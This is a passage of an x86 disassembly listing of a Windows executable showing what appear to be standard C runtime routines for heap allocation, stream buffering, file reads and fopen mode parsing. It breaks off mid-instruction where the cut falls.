[ebp+arg_0] cmp ecx, ebx jl short loc_41F56A cmp [edi+4], ebx jbe short loc_41F56A push ebx push ecx push eax call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F56A: ; CODE XREF: sub_41F50E+40j ; sub_41F50E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F547 jmp short loc_41F584 ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F50E+37j mov ebx, [ebp+arg_0] loc_41F584: ; CODE XREF: sub_41F50E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F5CA loc_41F597: ; CODE XREF: sub_41F50E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F5B6 cmp [edi+4], ebx jbe short loc_41F5B6 push ebx push eax push [ebp+var_4] call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov [edi+4], ebx loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj ; sub_41F50E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F597 jmp short loc_41F5CA ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41F50E+14j mov ebx, [ebp+arg_0] loc_41F5CA: ; CODE XREF: sub_41F50E+87j ; sub_41F50E+B7j mov esi, [esi] cmp esi, off_43CE70 jz short loc_41F5E9 jmp loc_41F51C ; --------------------------------------------------------------------------- loc_41F5D9: ; CODE XREF: sub_41F50E+54j ; sub_41F50E+A3j mov off_43CE70, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F711 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41F50E+C4j mov eax, offset off_43AE50 mov edi, eax loc_41F5F0: ; CODE XREF: sub_41F50E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F5FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F608 loc_41F5FC: ; CODE XREF: sub_41F50E+E6j mov edi, [edi] cmp edi, eax jz loc_41F6DD jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F50E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F637 loc_41F626: ; CODE XREF: sub_41F50E+127j cmp [ebp+var_4], 10h jge short loc_41F637 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F626 loc_41F637: ; CODE XREF: sub_41F50E+116j ; sub_41F50E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call near ptr 2670443h nop cmp eax, esi jnz loc_41F70F push 0 push [ebp+var_8] push esi call sub_41BF70 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F69E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F674: ; CODE XREF: sub_41F50E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F674 loc_41F69E: ; CODE XREF: sub_41F50E+15Ej mov off_43CE70, edi lea eax, [edi+2018h] loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j cmp ecx, eax jnb short loc_41F6BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F6B8 add ecx, 8 jmp short loc_41F6AA ; --------------------------------------------------------------------------- loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j cmp ecx, eax loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F50E+F2j call sub_41F216 test eax, eax jz short loc_41F70F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43CE70, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F70F: ; CODE XREF: sub_41F50E+143j ; sub_41F50E+1D6j xor eax, eax loc_41F711: ; CODE XREF: sub_41F50E+D6j ; sub_41F50E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap ; sub_41F50E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F75B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F74A add [ecx], edx sub [ecx+4], edx jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F74A: ; CODE XREF: sub_41F716+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F716+32j lea eax, [edi+8] jmp loc_41F829 ; --------------------------------------------------------------------------- loc_41F75B: ; CODE XREF: sub_41F716+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F764 mov eax, esi loc_41F764: ; CODE XREF: sub_41F716+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F7AE loc_41F76B: ; CODE XREF: sub_41F716+96j mov bl, [eax] test bl, bl jnz short loc_41F7A1 push 1 lea ebx, [eax+1] pop esi loc_41F777: ; CODE XREF: sub_41F716+68j cmp byte ptr [ebx], 0 jnz short loc_41F780 inc ebx inc esi jmp short loc_41F777 ; --------------------------------------------------------------------------- loc_41F780: ; CODE XREF: sub_41F716+64j cmp esi, edx jnb short loc_41F7D2 cmp eax, [ebp+var_4] jnz short loc_41F78E mov [ecx+4], esi jmp short loc_41F79A ; --------------------------------------------------------------------------- loc_41F78E: ; CODE XREF: sub_41F716+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F833 loc_41F79A: ; CODE XREF: sub_41F716+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F7A6 ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F716+59j movzx esi, bl add eax, esi loc_41F7A6: ; CODE XREF: sub_41F716+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F76B loc_41F7AE: ; CODE XREF: sub_41F716+53j lea esi, [ecx+8] loc_41F7B1: ; CODE XREF: sub_41F716+EBj ; sub_41F716+F2j cmp esi, edi jnb short loc_41F833 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F833 mov al, [esi] test al, al jnz short loc_41F803 push 1 lea ebx, [esi+1] pop eax loc_41F7C9: ; CODE XREF: sub_41F716+BAj cmp byte ptr [ebx], 0 jnz short loc_41F7F3 inc ebx inc eax jmp short loc_41F7C9 ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F716+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F7E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F7E3: ; CODE XREF: sub_41F716+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F7EC: ; CODE XREF: sub_41F716+CBj mov [eax], dl add eax, 8 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F7F3: ; CODE XREF: sub_41F716+B6j cmp eax, edx jnb short loc_41F80A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F833 mov esi, ebx jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F716+ABj movzx eax, al add esi, eax jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F716+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F81B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F824 ; --------------------------------------------------------------------------- loc_41F81B: ; CODE XREF: sub_41F716+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F824: ; CODE XREF: sub_41F716+103j mov [esi], dl lea eax, [esi+8] loc_41F829: ; CODE XREF: sub_41F716+40j ; sub_41F716+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F835 ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F716+7Ej ; sub_41F716+9Dj ... xor eax, eax loc_41F835: ; CODE XREF: sub_41F716+11Bj pop edi pop esi pop ebx leave retn sub_41F716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F874 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F8D4 ; --------------------------------------------------------------------------- loc_41F874: ; CODE XREF: sub_41F83A+26j jnb short loc_41F8DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F8DB lea eax, [ecx+edx] loc_41F889: ; CODE XREF: sub_41F83A+59j cmp eax, esi jnb short loc_41F897 cmp byte ptr [eax], 0 jnz short loc_41F895 inc eax jmp short loc_41F889 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F83A+56j cmp eax, esi loc_41F897: ; CODE XREF: sub_41F83A+51j jnz short loc_41F8DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F8CF cmp esi, eax jbe short loc_41F8CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F8C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F8C1 loc_41F8BA: ; CODE XREF: sub_41F83A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F8BA loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej mov [ebx+4], eax jmp short loc_41F8CF ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F83A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F8CF: ; CODE XREF: sub_41F83A+68j ; sub_41F83A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F8D4: ; CODE XREF: sub_41F83A+38j mov [ebp+var_4], 1 loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j ; sub_41F83A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F83A endp ; =============== S U B R O U T I N E ======================================= sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p ; sub_41C52F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F9B7 test al, 40h jnz loc_41F9B7 test al, 2 jz short loc_41F909 or al, 20h mov [esi+0Ch], eax jmp loc_41F9B7 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F8E3+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F91D push esi call sub_4241F7 pop ecx jmp short loc_41F922 ; --------------------------------------------------------------------------- loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj mov eax, [esi+8] mov [esi], eax loc_41F922: ; CODE XREF: sub_41F8E3+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F9A6 cmp eax, 0FFFFFFFFh jz short loc_41F9A6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F97B mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F964 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DD040[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F969 ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8E3+6Bj mov edi, offset dword_43D4D0 loc_41F969: ; CODE XREF: sub_41F8E3+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F97B or dh, 20h mov [esi+0Ch], edx loc_41F97B: ; CODE XREF: sub_41F8E3+62j ; sub_41F8E3+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F998 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F998 test ch, 4 jnz short loc_41F998 mov dword ptr [esi+18h], 1000h loc_41F998: ; CODE XREF: sub_41F8E3+9Fj ; sub_41F8E3+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F9A6: ; CODE XREF: sub_41F8E3+55j ; sub_41F8E3+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj ; sub_41F8E3+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F8E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p ; sub_41F8E3+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DD140 jnb loc_41FB99 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DD040h[eax*4] mov eax, dword_4DD040[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41FB99 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41FA71 test dl, 2 jnz short loc_41FA71 test dl, 48h jz short loc_41FA31 mov al, [eax+5] cmp al, 0Ah jz short loc_41FA31 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41FA31: ; CODE XREF: sub_41F9BC+56j ; sub_41F9BC+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 271129Ah test eax, eax jnz short loc_41FA84 nop call near ptr 269086Bh push 5 pop ecx cmp eax, ecx jnz short loc_41FA6C mov dword_4DBDDC, 9 mov dword_4DBDE0, ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA6C: ; CODE XREF: sub_41F9BC+99j cmp eax, 6Dh jnz short loc_41FA78 loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj ; sub_41F9BC+51j xor eax, eax jmp loc_41FBAD ; --------------------------------------------------------------------------- loc_41FA78: ; CODE XREF: sub_41F9BC+B3j push eax call sub_420C7F pop ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41FB94 test edx, edx jz short loc_41FAA9 cmp byte ptr [edi], 0Ah jnz short loc_41FAA9 or al, 4 jmp short loc_41FAAB ; --------------------------------------------------------------------------- loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j ; sub_41F9BC+E7j and al, 0FBh loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41FB8E loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41FB7E cmp al, 0Dh jz short loc_41FADF mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41FB70 ; --------------------------------------------------------------------------- loc_41FADF: ; CODE XREF: sub_41F9BC+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41FAFD mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41FAF4 add [ebp+arg_8], 2 jmp short loc_41FB52 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F9BC+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F9BC+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 271129Ah nop test eax, eax jnz short loc_41FB25 nop call near ptr 269086Bh test eax, eax jnz short loc_41FB6C loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj cmp [ebp+var_C], 0 jz short loc_41FB6C mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41FB47 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41FB52 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F9BC+176j cmp edi, [ebp+arg_4] jnz short loc_41FB57 cmp [ebp+var_1], 0Ah jnz short loc_41FB57 loc_41FB52: ; CODE XREF: sub_41F9BC+136j ; sub_41F9BC+17Dj mov byte ptr [edi], 0Ah jmp short loc_41FB6F ; --------------------------------------------------------------------------- loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej ; sub_41F9BC+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422F09 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41FB70 loc_41FB6C: ; CODE XREF: sub_41F9BC+167j ; sub_41F9BC+16Dj mov byte ptr [edi], 0Dh loc_41FB6F: ; CODE XREF: sub_41F9BC+199j inc edi loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej ; sub_41F9BC+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41FAC3 jmp short loc_41FB8E ; --------------------------------------------------------------------------- loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41FB8E or al, 2 mov [esi], al loc_41FB8E: ; CODE XREF: sub_41F9BC+101j ; sub_41F9BC+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41FB94: ; CODE XREF: sub_41F9BC+DAj mov eax, [ebp+var_8] jmp short loc_41FBAD ; --------------------------------------------------------------------------- loc_41FB99: ; CODE XREF: sub_41F9BC+12j ; sub_41F9BC+39j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj ; sub_41F9BC+C3j or eax, 0FFFFFFFFh loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j ; sub_41F9BC+1DBj pop edi pop esi pop ebx leave retn sub_41F9BC endp ; =============== S U B R O U T I N E ======================================= sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p ; sub_41BBE2+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DBE44 test eax, eax jz short loc_41FBCA push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41FBCA push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41FBCA: ; CODE XREF: sub_41FBB2+7j ; sub_41FBB2+12j xor eax, eax retn sub_41FBB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBFB0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FC06 cmp al, 72h jz short loc_41FBFF cmp al, 77h jnz loc_41FD1A mov ecx, 301h jmp short loc_41FC0B ; --------------------------------------------------------------------------- loc_41FBFF: ; CODE XREF: sub_41FBCD+21j xor ecx, ecx or esi, 1 jmp short loc_41FC0E ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj mov ecx, 109h loc_41FC0B: ; CODE XREF: sub_41FBCD+30j or esi, 2 loc_41FC0E: ; CODE XREF: sub_41FBCD+37j push 1 pop edx loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj ; sub_41FBCD+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FD00 cmp edx, ebx jz loc_41FD00 movsx eax, al cmp eax, 54h jg short loc_41FC9F jz short loc_41FC8F sub eax, 2Bh jz short loc_41FC79 sub eax, 19h jz short loc_41FC6F sub eax, 0Eh jz short loc_41FC5A dec eax jnz loc_41FCF1 cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj test cl, 40h jnz short loc_41FCF1 or ecx, 40h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC79: ; CODE XREF: sub_41FBCD+65j test cl, 2 jnz short loc_41FCF1 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC8F: ; CODE XREF: sub_41FBCD+60j mov eax, 1000h test ecx, eax jnz short loc_41FCF1 or ecx, eax jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej sub eax, 62h jz short loc_41FCEC dec eax jz short loc_41FCD5 sub eax, 0Bh jz short loc_41FCBE sub eax, 6 jnz short loc_41FCF1 test ch, 0C0h jnz short loc_41FCF1 or ch, 40h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j test ch, 0C0h jz short loc_41FCF8 loc_41FCF1: ; CODE XREF: sub_41FBCD+72j ; sub_41FBCD+7Bj ... xor edx, edx jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FBCD+122j or ch, 80h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj ; sub_41FBCD+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42423B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FD1E loc_41FD1A: ; CODE XREF: sub_41FBCD+25j xor eax, eax jmp short loc_41FD38 ; --------------------------------------------------------------------------- loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj mov eax, [ebp+arg_C] inc dword_4DBFAC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj pop edi pop esi pop ebx leave retn sub_41FBCD endp ; =============== S U B R O U T I N E ======================================= sub_41FD3D proc near ; CODE XREF: sub_41BE82p mov edx, dword_4DD020 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FDAE mov ebx, dword_4DC01C mov edi, ebx loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FD74 test byte ptr [ecx+0Ch], 83h jz short loc_41FD6F inc eax add edi, 4 cmp eax, edx jl short loc_41FD59 jmp short loc_41FDAE ; --------------------------------------------------------------------------- loc_41FD6F: ; CODE XREF: sub_41FD3D+26j mov esi, [ebx+eax*4] jmp short loc_41FD98 ; --------------------------------------------------------------------------- loc_41FD74: ; CODE XREF: sub_41FD3D+20j mov edi, eax push 20h shl edi, 2 call sub_41BEB5 pop ecx mov ecx, dword_4DC01C mov [edi+ecx], eax mov eax, dword_4DC01C mov edi, [edi+eax] cmp edi, ebp jz short loc_41FDAE mov esi, edi loc_41FD98: ; CODE XREF: sub_41FD3D+35j cmp esi, ebp jz short loc_41FDAE or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FDAE: ; CODE XREF: sub_41FD3D+12j ; sub_41FD3D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p ; sub_41C0CE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FDD3 mov ecx, off_43CE78 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FE25 ; --------------------------------------------------------------------------- loc_41FDD3: ; CODE XREF: sub_41FDB5+10j mov ecx, eax push esi mov esi, off_43CE78 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FDF8 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FE01 ; --------------------------------------------------------------------------- loc_41FDF8: ; CODE XREF: sub_41FDB5+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FE01: ; CODE XREF: sub_41FDB5+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4244F4 add esp, 1Ch test eax, eax jnz short loc_41FE21 leave retn ; --------------------------------------------------------------------------- loc_41FE21: ; CODE XREF: sub_41FDB5+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj and eax, [ebp+arg_4] leave retn sub_41FDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE2A proc near ; CODE XREF: sub_41C266+46p ; sub_41C360+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FF33 test al, 40h jnz loc_41FF33 test al, 1 jz short loc_41FE62 and dword ptr [esi+4], 0 test al, 10h jz loc_41FF33 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FE62: ; CODE XREF: sub_41FE2A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FE9C cmp esi, offset dword_43D588 jz short loc_41FE8A cmp esi, offset dword_43D5A8 jnz short loc_41FE95 loc_41FE8A: ; CODE XREF: sub_41FE2A+56j push ebx call sub_42463D test eax, eax pop ecx jnz short loc_41FE9C loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej push esi call sub_4241F7 pop ecx loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej ; sub_41FE2A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FF09 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FECC push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41FEFF ; --------------------------------------------------------------------------- loc_41FECC: ; CODE XREF: sub_41FE2A+90j cmp 